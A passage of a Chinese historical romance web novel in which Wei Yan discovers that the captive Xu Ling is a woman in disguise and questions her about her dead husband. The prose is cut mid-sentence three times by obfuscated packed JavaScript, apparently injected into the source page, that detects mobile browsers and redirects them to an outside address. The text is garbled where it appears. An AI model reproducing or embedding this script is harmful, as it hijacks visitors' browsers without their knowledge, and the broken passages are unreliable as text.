沉默片刻,他走回箱笼前,重新打开盒盖,把灰衣放了回去,伸手一直探向箱底,翻找出一件质地明显不同的青袍。这是去年一次小胜后,用刘备赏赐的越罗制成。轻薄柔软,但针织紧密,衣襟和袖口都镶了滚边,绣着精致的暗纹。他只在刚领赏时的庆功宴穿过一次,还痛下血本买过非常名贵的沉香仔细熏染。 这不是武人习惯的衣料,魏延还记得那次穿的时候有多么小心。行走在宴席间,生怕那些木案把衣袖刮破。但徐绫不同,他说起话来引经据典,举手投足也很有教养,跟这件衣服应该更适配。不过少年身量还没长开,比自己肩窄腰细,穿上去可能会显得有些空荡。最好用软带收束一下,不至于逶迤拖沓,还能勾勒出腰身…… 关押徐绫的营帐就在眼前,魏延却倏然停住了步伐:腰身……? 林间搜身时的轻微僵硬,寻摸玉环时恶狠狠瞪过来的目光,面对仕女图时长久的恍惚。 过于浅淡的喉结,极为精致的眉眼。 华美短剑,散碎黄金。 徐氏女,关中妇。 一个被他早早弃置的猜想,在青袍织就的幻影里重新汹涌而来,瞬间占据了全部心神。 什么年龄接近、容貌相仿,那只是徐绫借由玉环上的昏以为期四字解释,看出了自己对高门士族那一套完全懵懂,所以临时编造的谎言。 哪有什么族妹,只有那个生于建安二年孟秋、出自颍川阳翟徐氏,本应在去年新婚夜就殉情的夏侯称之妻,徐绫徐子衿。 4. 零四 演,接着演 胡饼和腌菜已经撤走,多了一桶氤氲着蒸汽的热水。徐绫发髻散开,跪坐在旁边绞湿麻巾。脸上的血污尘土都被洗净,显露出韶秀的五官。循声瞧来,隔着薄薄的水雾朝他浅淡一笑。 魏延退后半步,让晚风从衣领灌进身体。这营帐之中,怎么如此闷热! “换上,”他递去青袍,“若蒙左将军召见,不可失仪。” 徐绫刚拿到手就愣了一下,反复摩挲衣料表面,眉头越锁越紧,迟疑着问道: “这件越罗青袍太过贵重,绫愧不敢受。将军若有多余布衫或麻衣,可否借我一件?” “寻常衣袍而已,就穿这件。” 魏延说得轻描淡写,按在腰间佩剑的手,却将铜篐握得更紧了些。徐绫静望着他,轻轻点头,将青袍放在一边,继续去拧那条麻巾。魏延在徐绫线条流畅的小臂上凝视片刻,眸光微微闪烁,深吸一口气,缓缓呼出: “徐子衿。” 徐绫抬头看他,不明所以。魏延弯腰拾起青袍,再次递过去: “现在换。” 徐绫攥紧麻巾,听见魏延的厚重嗓音又响了起来: “就在这里换。” 徐绫的呼吸瞬间屏住了,目光凝结成一股尖锐寒意朝他刺来,随即霍然起身,用力一甩,麻巾砸进木桶,在水面炸开一蓬碎花,尚且温热的细小珠子泼溅在魏延脸上。但他眼睛眨也不眨,只盯着徐绫。 “滋”的一声,又是烛芯燃断在灯油里,可谁都没有转头去看,就那么僵持着。 还是徐绫先动了。 绳结扯散,外层短褐落地。裂帛之音响起,内层葛衣被她直接撕开,露出里面裹束了一圈又一圈的胸带。那些布条缠绕得非常紧密,几乎完全压平了属于少女的曲线。因为材质粗糙,边缘还有许多因为长期绑缚和反复擦伤而产生的红痕与血痂。 “将军想看的,就是这个吧?”她声音轻颤,“现在看到了,还想上手摸一摸么?” 心中一块巨石落地,魏延始终紧绷的神情稍稍松动,抖开手中青袍,大步上前,将徐绫围拢在臂弯里: “验明正身,职责所在,并无轻薄之意。军营之中,女郎多有不便,还是继续扮做小郎君吧。” 徐绫由着他为自己拢住领口,没有挣扎、但也没有配合,这就让魏延有些进退维谷。他不能松手,否则青袍就会落地。可若不松手,徐绫肩膀伤口的血味窜入鼻腔,咽喉顿时仿佛被火燎一般焦灼。想让她自己穿好,但被那么冷冷盯着,又不知该如何开口。 “你……伸过来……?” 魏延示意她稍动一下,然而徐绫仍然定定站在那里,发出一声短促的哼笑: “看也看了,摸也摸了。又说这些话,有意思么?” 魏延猛然睁圆了眼睛,难以置信地看向徐绫。 我没有! 此前搜身也好、找玉环也好,都只把她当成一位身份可疑的陌生少年,自己是在光明坦荡地例行公事! 对,他承认,确实想象过徐绫穿青袍时系一根束带可以勾勒出腰身。就算这念头有那么一丝丝旖旎,但拿青袍的时候,他并不知道徐绫是女郎,唯一考虑的就是气质相配,毫无半分邪念! 魏延声带发紧,一时间有许多话想解释。他绝不能被徐绫看轻,一点也不行。 可对上徐绫浮起的一圈泪光,所有解释顿时太过苍白。 看也看了,摸也摸了,毕竟……是事实。 是谁让她必须在此时此地换衣的?是自己。 徐绫那句话固然难听,自己做的事情难道就好看么? 觉得委屈了,就试图辩白动机,却盼着饱受屈辱的徐绫反过来宽宥理解,最好还能感念他的一片苦衷?真是……荒唐。 随着他的松手,越罗青袍晃晃悠悠坠落在徐绫脚边,堆叠成一团。她平直的肩线和健实的腰腹顿时重新映入眼帘,魏延急忙扭头错开视线,迅速退了出去,背身钉立在门口。 帷幕落下,帐中再无旁人,徐绫脸上冰消雪融,刚才还几乎要泉涌的鹿眼,此时一片深潭般宁静。她拎起脚边青袍,走到烛火下仔细端详:经纬均匀,泛着柔软的光晕。凑近嗅了嗅,属于上等沉香的木质甘甜扑面而来,但又夹杂着少许干草晾晒后的清苦土腥。 一件被名贵香料精心熏染的华服,日常存放却只能使用普通花草防虫蛀。 一个时辰前,就在这间营帐,魏延将他那柄佩剑与自己短剑并列时说的什么? “如此名贵宝器,是真正出身寒微之人断不敢奢望拥有的”。 既然如此,这青袍又怎么会寻常呢?呵。 魏延伫立在帐外,高大身影投映在帐布上,一缕发丝被秋风吹起。徐绫望着那道细而轻的飘扬墨痕,莞尔一笑。 魏延听见里面终于传出了断断续续的水声,想来应该是徐绫已经情绪平复。他长舒一口气,闭了闭眼。可一片黑暗之中,徐绫的面容却无比清晰。他立刻睁眼,有些心虚地迅速左右张望两下。 “文长怎么站在这里?” 刘封拎着一个食盒走来,伸手就要去掀开帐帷,却被魏延拦住。刘封愣了一下,笑道: “徐家小弟如此羞赧,梳洗都不许人看?” 魏延嘴唇翕动,没有说话,只是固执地拦在那里。这时,身后的水声停了,徐绫清凌凌的嗓音传来: “将军,我好了。” 她长发湿润地披散在身后,脖颈匀净,本就不明显的喉结阴影此时已经完全消失。整个人带着淋漓的水汽,风神疏朗、如月如玉。 刘封停在那里,被落下的帘布打到了肩背也毫不在意。但魏延却只看见,徐绫仍然穿着那件满是血污、还有多处破损的粗布复褐,没有换上自己送来的越罗青袍。 “徐家贤妹。” 刘封很快回神,自然而然地改口。千里投奔,女扮男装确实更为方便。他走到桌案旁,把食盒打开,里面放着一盘炙肉、一碟果脯、一罐蜜水还有一小撮盐。他扫了一眼不远处叠放整齐的青袍,又看了看徐绫身上那件破损染血的旧衣: “还是文长思虑周全。若要觐见父亲,确实该换身衣裳,以示郑重。” 他的目光在徐绫和魏延之间打了个转,笑了笑: “阿绫贤妹,你我身量更接近些。我那里有些旧衣,料子虽不及这件贵重,但还算干净。晚点派人送来,你莫要嫌弃。” 魏延抿了抿唇,也不知道雒城这鬼地方哪里来的蚊虫,为何深秋还能蜇人? 徐绫没吃饱似的狼吞虎咽起来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486421|202034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刘封时不时将那罐蜜水递去,徐绫鼓着腮帮接过,眼尾溢出满足的笑意。或许是真吃急了,她忽然打了个嗝,赶紧捂住嘴,眼珠滴溜溜地转着,露出几分魏延觉得完全不属于她的羞窘情态。刘封温和拍抚着她的后背: “慢点,不要急,都是阿绫的。” 演得真好。 要不是亲眼见过她怎么杀人、怎么周旋、怎么顽抗,魏延都快信了。 随着刘封的背影消失在帐帘之外,徐绫短暂维持的娇憨迅速褪却,捏着那撮盐放入陶碗,含了口盐水,有一搭没一搭地漱着。 魏延慢慢倾身,一点一点迫近,徐绫抬眼,魏延能清楚看到自己的影子在她瞳孔里逐渐放大。徐绫没有退缩,只是一口一口把盐水吞咽入腹。魏延定睛在她滚落起伏的喉骨,双手撑着桌案,缓缓跪坐下来: “并没有那位族妹。” “没有。我就是那个族妹。” 徐绫坦然自若,还把那碟果脯朝他推了推,托肘下沉,摆出一个邀请的手势: “能嫁给夏侯称为妻,除了曹公偏爱伯父,还因为我的命理面相与他是天作之合。因此夏侯渊悲痛之余,执意要我殉葬,我只好偷了些首饰伺机逃出。效力在刘使君麾下的诸葛孔明先生与伯父是故交,因此原本想去江陵寻他。但第一次出远门,缺少舆图指点,又遭遇追杀,不知走了多少错路。因此,你若要问如何到了这里,我也讲不明白。” “既然你不是专为投奔左将军而来,那玉环上的昏以为期……真就是婚约而非什么君臣情谊?” 啊? 徐绫十分难得地露出了真实的疑惑,没想到此前始终敏锐警醒的魏延听完之后最先问的,竟是这个在她看来无足轻重的细节。 然而与徐绫的平淡无谓截然不同,魏延眼中情绪翻涌,不仅是屡次被戏耍欺骗的憋闷不甘,更多是一种晦暗难名的失落在胸腔反复冲撞。 他不想被徐绫看轻,方方面面都不行。 “夏侯渊乃成名宿将,从未听闻他有强令殉葬之举。” “不是说了么,我因命理面相适配,才得以高攀夏侯氏。据说能兴旺他们家族气运、泽被万世呢。将军若精通此道,我现在将夏侯称的生辰年柱也写给你,自行推演一番就能明白了。” 又来这一套!她明明知道,自己对这些玄之又玄的东西一窍不通! 魏延放在膝上的手骤然握拳,牙齿咬住了口腔软肉,扭头不去看徐绫。猜也能猜到,这小女郎此时必然又会摆出那副熟悉的促狭模样。 他的视线逐渐聚焦在不远处的越罗青袍上,眸光如炬。可过了一会儿,却像一团被风揉碎的云,撕扯成絮,飘散无踪。 “我不懂这些,”魏延重新望向徐绫,又很快垂眸,“但左将军身边不乏名士高人。你若敢在他面前随意糊弄,可真的要小命难保。” 徐绫歪了歪脑袋: “怎么,我小命难保……你担心呀?” 我—— 魏延倏然长身而立,气息粗重。他没法说不担心,那就相当于承认之前纯属虚张声势。但也没法说担心,那就……更不对劲了。 徐绫欣赏着他心潮澎湃的情状,端起陶碗,又含了一口盐水,不紧不慢地漱着。 咕噜咕噜。 5. 零五 莽,接着莽 “巡哨获一女郎,年十七。自称徐元直族侄,名绫。为夏侯氏新妇,惧殉而逃。长公子询以旧事,细节皆符。” 写到这里,魏延搁笔将信笺封存,连同那柄短剑和玉环,一并交给斥候连夜呈送中军帐。 巡更的刁斗声穿透营帐,已经四更天。魏延站在稀疏的星光下望着信使远去,毫无困意。刘备深谙世事、见识博广,中军帐内名士云集,那枚玉环是故交旧物还是婚礼贺仪,他们自会判断,哪用得着自己胡乱揣测? 如果夏侯渊对命理相术当真如此看重,甚至不惜要求殉葬,那么议婚人像就应当力求真实。可徐绫与绢帛少女,分明就是不够像。若非如此,自己也不至于那么快就将她女扮男装的猜想弃置不顾。 证实了她的女子身份之后,这个不够像,才应该是着重讯问的疑点。可自己当时在纠结什么?在反复琢磨玉环上昏以为期的释义。 可笑,明明一年到头也读不了几句诗文典籍,怎么这时候忽然儒生附体般钻研起来了? 自己真的是对昏以为期这四个字格外在意吗? 不是的。 魏延在徐绫帐前停住脚步,写信的笔还握在手里,却如炭块余烬般灼热。 他真正在意的是,自己最初那个猜想或许并没有错,昏以为期就是婚仪祝词,而不是什么屈子什么喻指。 尽管做不到徐绫那样谈吐文雅,但他直觉敏锐、推演精准,只是一时失察才会被带偏,可不是那种三言两语就被蒙骗的蠢笨之人。 总之就是……绝对不能被徐绫看轻。 一灯如豆,徐绫伏在桌案,侧脸枕着手臂,湿发半干,如云散落,遮住了脸颊,呼吸绵长,已经累极而熟睡。身上的染血复褐换成了刘封的一件月白旧衣,另罩了一面墨绿绒氅,色泽虽略有暗沉,领口也露出少许内衬经线,但披毛厚实,足见价值不菲。 魏延的视线在大氅上盘桓片刻,又瞥了一眼旁边仍然叠放整齐的越罗青袍,极轻地叹了口气。伸出笔杆,笃笃敲着徐绫额角: “徐子衿。” 徐绫睫毛颤动几下,带着初醒的迷茫把脑袋转过来,仍然侧枕着自己手臂,扬起脸瞧他,懒懒“嗯”了一声。不等她完全清醒,魏延搭着桌案边缘,再次展开那幅绢帛: “既是因命格面相适配才得以嫁入夏侯家,为何这用于议婚的画像,却与你本人并不相像?” “彼时不过十一二岁,又妆容齐整,自然与现今这副狼狈模样差距悬殊。” 徐绫嗓音喑哑,带着少许被搅扰清梦的不快。但注意到魏延眉头紧蹙,显然对自己这番敷衍并不买账,她立刻直身端坐,揉了揉被压得酥麻的胳膊,微微倾身,露出一个讨好似的浅笑: “不过,将军真是慧眼。” 嗯? 魏延挑眉:她夸我?不对劲。 “当年,确实曾私下许画师以重金,将我……美化过一些。” 美化?美化在哪里? 魏延目光在她和绢帛之间来回逡巡:不管从哪个角度看,明明都是徐绫这个真人更美啊! 魏延在心里高声反驳,可试图反驳的这个念头本身,好像就透着那么说不清道不明的心虚,这让他的表情显得十分古怪。 徐绫望向画像,流露出追忆往昔的怅然,像是出了神。实际余光一直锁定在魏延脸上,察觉到他变幻莫测的表情,徐绫交叠在桌案下的双手悄然勾紧:这家伙实在非常难缠,无论绕了多远的弯路,好像总有办法迅速回弹到正轨。 “当时想着,夏侯家既然笃信相术,或许毫厘之间,就能区分名分呢?”徐绫在画中少女的额头、眉眼和耳垂分别点了点,解答得非常耐心,“这些地方,在作画时,会尽量朝福旺之相靠拢。毕竟,能当正室,谁想去做妾呢?” 魏延的目光追随着她在绢帛上移动的指尖,稍作沉思,眼神骤凛: “所以,你们颍川徐氏,骗了夏侯家?” “骗?” 徐绫冷哼一声,挺直背脊,原本藏于大氅之下的另一只手,也缓缓置于桌案之上,让她整个人的轮廓都凭空被放大了一圈: “做个正室夫人而已,我哪里不够格?” 当然够格!那个短命鬼当你夫君才是不够格! 魏延险些脱口而出,但很快稳慑心神:够格与欺骗,是两回事,他差点又被徐绫绕进去了。 “夏侯称死于何因?” “我只懂一些疗治外伤的皮毛医术,看不出有什么症候。” “不管什么症候,总归是急病而亡?” 徐绫点头表示认可,魏延神情却并不放松,反而紧盯着她: “真的是急病,不是你杀的?” 既然那个面相适配的画像与真实的徐绫如此迥异,夏侯渊怎会因笃信命理而执意让她殉葬? 还是说,正因为如此不同,原本应当为夏侯称祈福延寿的婚姻,不仅没起到效果,反而让他暴毙,夏侯渊才会迁怒徐绫? 又或者……他们之间有杀子之仇。 这样一来,生死不论的重金悬赏、层层转包的千里追命,乃至于那个以讹传讹变成了天子妃嫔遭遇掳掠的离谱谣言,顿时都能解释清楚。 “夏侯氏乃曹公本家,我又是正室夫人,荣华富贵近在眼前,为何要杀自家夫君?即使当真疯癫了,非要杀夫不可。那夏侯渊何许人也?我一个小女郎,如何能在他亲兵实控之下的重镇长安杀其爱子、且全身而退?” 徐绫简直失笑出声,语速比平时更快。说到最后,尾音甚至都被那有些夸张的笑容染上了几分震颤。 魏延收拢五指、聚成一个中空的拳,轻轻叩击桌案。瞅一眼徐绫、又瞄一眼绢帛,踌躇未决。 诚然,她的解释合情合理,自己的猜测才近乎无稽之谈。 可证据是一回事,直觉又是另一回事。 “别人或许不行,但你可以。” 桌案被撞出一声沉闷巨响,是魏延用力敲了一下,敲得指节都深深泛了红。虽然猜不出徐绫是怎么做到的,但他坚信徐绫就是能做到。徐绫微微张口,舌尖轻轻动了动,声音却哽在喉咙里发不出来。魏延说得太过斩钉截铁,简直就跟林间初见时这家伙的剑招一样,没有技巧、纯靠蛮力。 “……多谢夸奖。” 徐绫淡淡笑了笑,丝丝缕缕的愉悦一点一点漫延开来,直达眼底,似乎从里到外都浸染着某种奇异的欢欣。 魏延蓦地想起那柄此刻应该已经送进中军帐的华美短剑:乍看是规制精巧的礼器、应当供奉于香案仔细照料,出鞘之时却青光森寒、还隐约透出即将饮血的雀跃。 他甚至忍不住开始畅想,刘备看到这柄剑会作何想法。会惊叹吗,会呵护吗,会使用吗,会赞赏吗? 魏延的目光再次飘向徐绫,她眸光沉沉,无波无澜,显然不打算继续分辩。魏延知道无论真假,她都不可能承认夏侯称死于非命,若继续逼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486422|202034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问,只会像之前的玉环刻字那般陷入自我纠缠。况且自己实际上也做不了什么主,只能把事实细节尽可能盘问清楚,留待中军帐决断。思虑至此,他不再纠结于那个骇人听闻的猜想,而是把笔递给徐绫,将绢帛也朝她推了推: “把夏侯称的生辰年柱写在上面,容貌也一并画出来,左将军身边自有通晓命理相术的高人。” 徐绫从陶碗里蘸了点水,滴在墨汁凝固的笔尖,将毫锥化开。她原本想说自己不擅丹青,但魏延刚才的猜测实在太过危险,如果拒绝,岂非更显得自己心里有鬼? 兴平元年仲春。 噢,那短命夫君比她大三岁。 魏延在心里默默计算,随即又摇摇头,把这个念头甩掉。自己为什么要在意他们差几岁,她夫君都是死人了……不对,跟是不是死人没有关系,就是不该在意! 写完生辰年柱,徐绫捏着笔杆轻轻戳了戳下巴,斟酌接下来该如何落笔。少顷,她再度俯身,毫尖游走间,一位清贵郎君的轮廓跃然于绢帛之上,与十一二岁的徐绫比肩而立。 ……很般配。 而且一气呵成,没有丝毫滞涩,可见她对那位夫君虽然只有一面之缘,却印象深刻。 看着她熟稔的笔法在绢帛流转,魏延只觉一团郁气在胸腔越结越重: “一晚夫妻而已,你倒记得清楚。” 笔锋悬停,绢帛上洇开了一圈墨晕。 徐绫抬眼,冷冷直视魏延。 她生气了。 一抹无措的慌乱顺着脊柱蚁走爬升,让魏延瞬间沁出一层薄汗。那时才刚及笄的徐绫,从高门新妇沦为殉葬人俑,该有多么恐惧无助。对她而言,新婚夜是需要百般遮掩的伤口,是一切噩梦的开端,唯独不会有半分甜蜜。 “……抱歉。” 魏延语气愧疚,目光恳切。但徐绫没有应答,只是静静低头将剩余部分画完,搁下笔,将绢帛推来,示意他带走复命。 魏延知道,若此前两人之间间还有一条脆弱的蛛丝互相联结。那么现在,这根线,被他亲手扯断了。 无边无涯的悔意涌上心间,他不能就这么拿了画离开,于是喉结滚动几下,讷讷开口: “我方才那句话不对,” 他飞快瞄了一眼徐绫,见她毫无反应,心又往下沉了沉,“我那句是混账话,你别……” 魏延说不下去了。 你别什么? 别生我气,别厌恶我,别不理我? 可他有什么立场和资格去要求徐绫呢? “你……继续睡会儿吧。” 魏延不再停留,也不敢期待徐绫会有任何回话,转身朝外走去。就在他掀开帐帷的时候,徐绫的声音从身后传来: “将军。” 魏延急忙转身,他完全没预料徐绫会主动唤他。虽然没法再说什么漂亮话,但他迫切希望能为徐绫做点什么,哪怕只是微不足道的小事,至少也可以弥补一二。但徐绫仍然没有看他,只是指了指叠放在旁边的那件越罗青袍。 她没打算给魏延什么机会,更遑论谅解。她只是请魏延把这件小心珍藏、曾怀着莫名忐忑和一丝丝旖旎念头拿给她的华服,再原封不动地收回去。 魏延沉默地走了过去,方才那一瞬间凝聚而起的点滴期盼,此时化为了浓稠的自嘲。他俯身拾起青袍,光滑细腻的衣料被他紧攥在掌心。 魏延第一次意识到:原来,越罗的手感,是这样冰凉。 6. 零六 她夸我了 中军帐的将令来得很快,命魏延次日一早带徐绫前去觐见。 刘备乍遇故人后裔的急切期盼固然溢于文辞,但除此以外呢?他对那些信物有何看法? 斥候摇摇头:左将军威仪深重,不知喜怒。 魏延打开箱笼,挑出一件素白细布衫。原本是作为越罗青袍的内搭而准备的,轻软舒适,制成之后连一次都没穿过。 他用匕首一刀一刀划开衣衫,裁成长短不一的细条。徐绫肩上的伤口需要敷药包扎,她的裹胸带材质太过粗糙、早就应该更换。另外,若遇上月事,也可以用这些布料处理。 明天一早就要去中军帐觐见刘备了,面对这位能决定其命运的仁德雄主,她会紧张么? 她……还生气么? 魏延拎着一只小包袱走向徐绫营帐,还没掀帘,就听见其中传来阵阵欢声笑语。刘封正拿着一件褐衫在徐绫身前比量,见他走进,朝他热情招呼道: “文长来得正好。你来评评,褐色是否比月白更衬阿绫一些?” 魏延迅速负手,将包袱藏到身后,目光从两人身上淡淡扫过,在徐绫尚未收起的弯弯眉眼停留了一瞬,只见她轻轻推了推刘封,笑得甜蜜又无奈: “我身上这件就很好。行军艰难,阿兄身份贵重,怎可缺少换洗衣物?还是留待自用吧。” “军营亦有民夫工匠,我若真有短缺,让他们再制就是。”刘封不以为然,拿着褐衫不肯放手,“褐色显得你气度儒雅,更有元直先生昔年风姿,父亲见了定会觉得亲切。月白么,倒是能衬出你一路艰难,父亲或许更加怜惜,不过确实有点……” 显黑。 魏延在心里补充,但忍住了没说出来。眼前这对兄妹言笑晏晏,哪有自己插话的余地? “小郎君,你会骑马么?” 魏延问道,打破了兄妹二人互相推让的温馨氛围。还不等徐绫答话,刘封抢先开口: “阿绫身量未足,营中战马高猛难骑,就用我带来的那匹小红马吧。”他转向徐绫,语气亲善,“那是我少年时从小马驹开始亲手驯养的,性子稳重、又见过大世面,而且骨架比寻常战马矮小,正适合你。” “多谢阿兄体恤。” 看着徐绫朝刘封乖巧一笑的依赖模样,魏延背在身后的手指收拢,小布包陷进去几个深坑。 一切细枝末节,人家都有阿兄安排得妥帖周全,自己就多余来此走一遭。 阿绫、阿兄……叫得真亲热啊! 魏延冷声扔下一句知道了,转身大步流星离去。 “文长就是这样的性子,你别介意。” 刘封望着魏延用力甩开帐帷的背影,皱了皱眉。他没再坚持劝徐绫换成褐衫,转而从怀中取出一卷帛书递去: “见过父亲之后,他多半会命人将你送去葭萌城安置。许多军属家眷都在那里,由霍峻兄妹看顾。我与他们相交已久,他们看过此书,自会对你用心照拂。” 徐绫双手接过,收入袖中。敛衽长揖,月白衣袂随着她躬身的动作划出一道优雅弧影: “承蒙阿兄关怀,绫铭感于心。阿兄嘱托之事,绫必定不负所望。” 刘封在她手肘虚虚一托,示意免礼起身。徐绫双手交叠在腰前,仍然沉着肩膀,恭敬肃立。刘封脸上的亲和笑意并未退却,只是多了几分深沉考量,缓缓说道: “雒城战事拖延日久,父亲心绪难料。与元直先生的旧日情分能顾念多少,我心中也没有定数。那件事,你尽力就好,不必勉强。” “绫既承受恩典,自当涌泉相报。” 刘封望着徐绫投来的坚定目光,稍有动容,流露出不加掩饰的赞许与怀念: “不愧是元直先生族侄,一举一动,都让我想起当年在新野,承惠先生的时光。” 他伸手在徐绫肩上按了按,语气更加柔和,也更加郑重: “我做这些,一多半确实出于感念,并非完全是一场交易,你不必太有负担。况且,这些守诺报恩之事,是君子士人之间的道义,不是你这样的小女郎需要遵守的规矩。” 徐绫轻声应了一下,温驯地笑了笑,没有辩驳,也没再说什么慷慨激昂的大义之语。直到刘封完全远去,她才直身玉立,展开袖中帛书认真阅览一遍,在心里记准了霍家兄妹的姓名和表字:霍峻,字仲邈。霍峤,字幼卓。待来日到了葭萌城,少不得要倚仗他们。 帐帷被秋风吹开了斜斜一角,梁柱投下的阴影里静静躺着一只鼓鼓囊囊的小包袱。里面是一袋裁割整齐的素白布条,还有此前徐绫存放在那只鹿皮袋里的七锦兰粉末,而且数量变多了,显然被人补充过。她随手拿起一根布条在烛火下端详:织工密实,是十分干净的上好细布。贴近一闻,木质甘甜混合着干草苦香窜入鼻腔。 啧,越罗青袍的味道。 她了然一笑,把布条放了回去。稍作思忖,将那件墨绿绒氅完全展开,把这只半旧的小包袱裹藏其中。 次日清晨,魏延带领护卫小队来到营门时,远远就瞧见刘封牵着那匹小红马,和徐绫两个脑袋凑在一起喁喁私语。徐绫仍然是小郎君打扮,头发束得齐整,用一根水碧玉簪固定。不消说,肯定又是刘封的体己物。小红马的一侧捎绳已经挂好了行李,系结处隐约露出墨绿绒氅和刘封力荐的褐衫衣角。 他还是把那件衣服塞给了徐绫。 那自己悄悄扔在营帐里的小包裹呢?徐绫会发现么,会带上么?还是……会丢掉? 魏延无从判断,只能清一清嗓,示意该启程了。刘封抱起徐绫,将她稳稳托上马鞍,又从袖中取出一只精致锦囊: “你初次骑马,难免颠簸不适,含一枚梅干能缓解许多。四五里路,缓行也不过一刻有余。估计吃完两三枚,就该见到父亲了。” “阿兄如此周到,绫无以为报。但有驱使,敢不竭尽犬马之能。” 刘封正在把锦囊栓到小红马的捆肚带上,听见这句话,淡淡笑了笑。虽说徐庶子侄如此宣誓效忠,自己本应该正色行礼,方显礼贤下士的贤主风范。但徐绫只是一位小女郎,之后去了葭萌城还能否再见都殊难预料,自己如此照拂,怎么看都算仁厚重情了吧。 他退后几步,露出一个表示安抚的温和浅笑,示意魏延可以出发了。魏延目光在两人之间几度游弋,并未言语,只是动作利落地翻身上马,轻夹马腹,来到徐绫身边,给她看了一眼手中的布条,粗声道: “中军帐乃机要重地,得罪了。” 徐绫平静点了点头,顺从地闭合双眼,由着他再次将自己眼睛蒙上。魏延知道自己天生力大,自问已经收敛许多,但打结时还是听见一声低呜从徐绫喉间溢出,手指顿时僵住:完了,在她心里,自己肯定又多出来一条罪状。 晨雾消散,灿烂朝阳泼洒而落,小红马的鬃毛被晒成一片流动着枣粽的淡金。魏延单手控缰,另一只手挽过徐绫坐骑的缰绳,与她并辔而行。走了一段之后转头去看,却见她身姿挺拔、肩平腰柔,随着马驹一起一伏,毫无不适之意,也没有去吃那袋梅干。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486423|202034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 队伍行至岗哨,速度稍有减缓。魏延挥手示意随行兵卒前去与之互相核验,等待时又忍不住偷瞄徐绫。橘红的阳光撞在她束发玉簪上,飞溅成星星点点的碎亮,从她发髻滑至鬓角,耳垂上那个小小孔洞顿时被辉耀得近乎透明。 她新婚时,那里装饰的,是明月珰、还是赤金珠呢? “队列为何停驻,可是到了?” 徐绫的问话将魏延飘远的思绪拉扯回来,没等回答,率先感知到的,是手背传来淅淅沥沥落雨似的一连串敲击。下意识反手一握,却没成想,掌心里除了小红马的缰绳,还多了徐绫尚未来得及收回的指尖。他立刻若无其事般松手,语速变得奇快: “方才是哨卡,中军帐还有两里左右。” 徐绫点点头,神色如常,好像完全没意识到刚才被他轻握了一下。魏延看了看自己掌心,微凉的触感停留在这里的时间分明那样短暂,可此时回溯起来却极为绵长。一圈一圈洇染渗入掌纹,又逐渐冒出滚烫的热意,一波一波反推出来。 “将军与长公子,谁更年长些?” “我比长公子年长四岁,”魏延顿了顿,又鬼使神差补了一句,“长公子年方弱冠。” 徐绫转向魏延,噗嗤一声笑了出来: “将军说得这么详细干什么?” 虽然还蒙着布条,可魏延却觉得那目光好像能穿透似的,仓皇扭过脸,转动手腕,连续缠绕了几圈缰绳。 他不喜欢总被徐绫戳中这种不敢或不愿深思的话题,比如此刻,谜底其实显而易见:当然是因为他巴不得跟徐绫聊更多关于自己的事情。 但这话说出来就会显得轻浮不纯,不说又会显得鲁莽少智,反正都是在她那卷记录罪状的心简上只增不减。 “算起来,当年伯父在新野为长公子授业时,阿兄竟比我现在还要年轻些呢。” 徐绫并不在意他的沉默,只是继续自顾自地感慨着。捕捉到这种微妙的忽略,魏延勒紧缰绳,又苦笑着垂了垂嘴角,慢慢松开。刘封与她本就有徐庶的师生之谊,又那般体贴入微,她当然满心满意都是人家,不然呢? “将军几时投入刘使君麾下,为何未曾见过伯父?” 对魏延的百转千回一无所知,徐绫声音里依然只有纯粹的好奇。魏延定了定神,回答说: “我是在左将军佐理荆州事务时带领乡勇前去投奔的,徐先生已离开数月之久。” “如此说来,将军那时年纪也不大,却能让众乡勇听命于你,真了不起。” 她说什么?她……夸我了? 这样的故事在当今乱世不知凡几,有什么了不起的? 魏延怔怔望向徐绫,试图从她脸上搜寻到那抹熟悉的促狭痕迹。 但什么都没有,只是阳光更暖了,风也变得温柔。 徐绫面朝前方、泰然自若,蒙眼的飘带随着小红马的步伐在她脑后摇曳。 她真的夸我了。 无比欢畅的满足感从心底涌入颅腔,此前那些黯淡苦涩都被这突如其来的一句话冲击得七零八落。他知道徐绫什么都看不见,于是放任自己咧开一个极为得意的大笑,刚毅冷硬的脸庞顿时显得异常明亮,却偏偏还要较着劲,发出一声刻意压低的冷哼: “徐子衿,你倒惯会哄人。” “将军觉得我在哄你呀?” 淅淅沥沥落雨般的敲击又落回到魏延手背,而且与之前不同,这次的力度已经近似于抚蹭。 “那我为什么要哄你呀?” 7. 零七 反复横跳 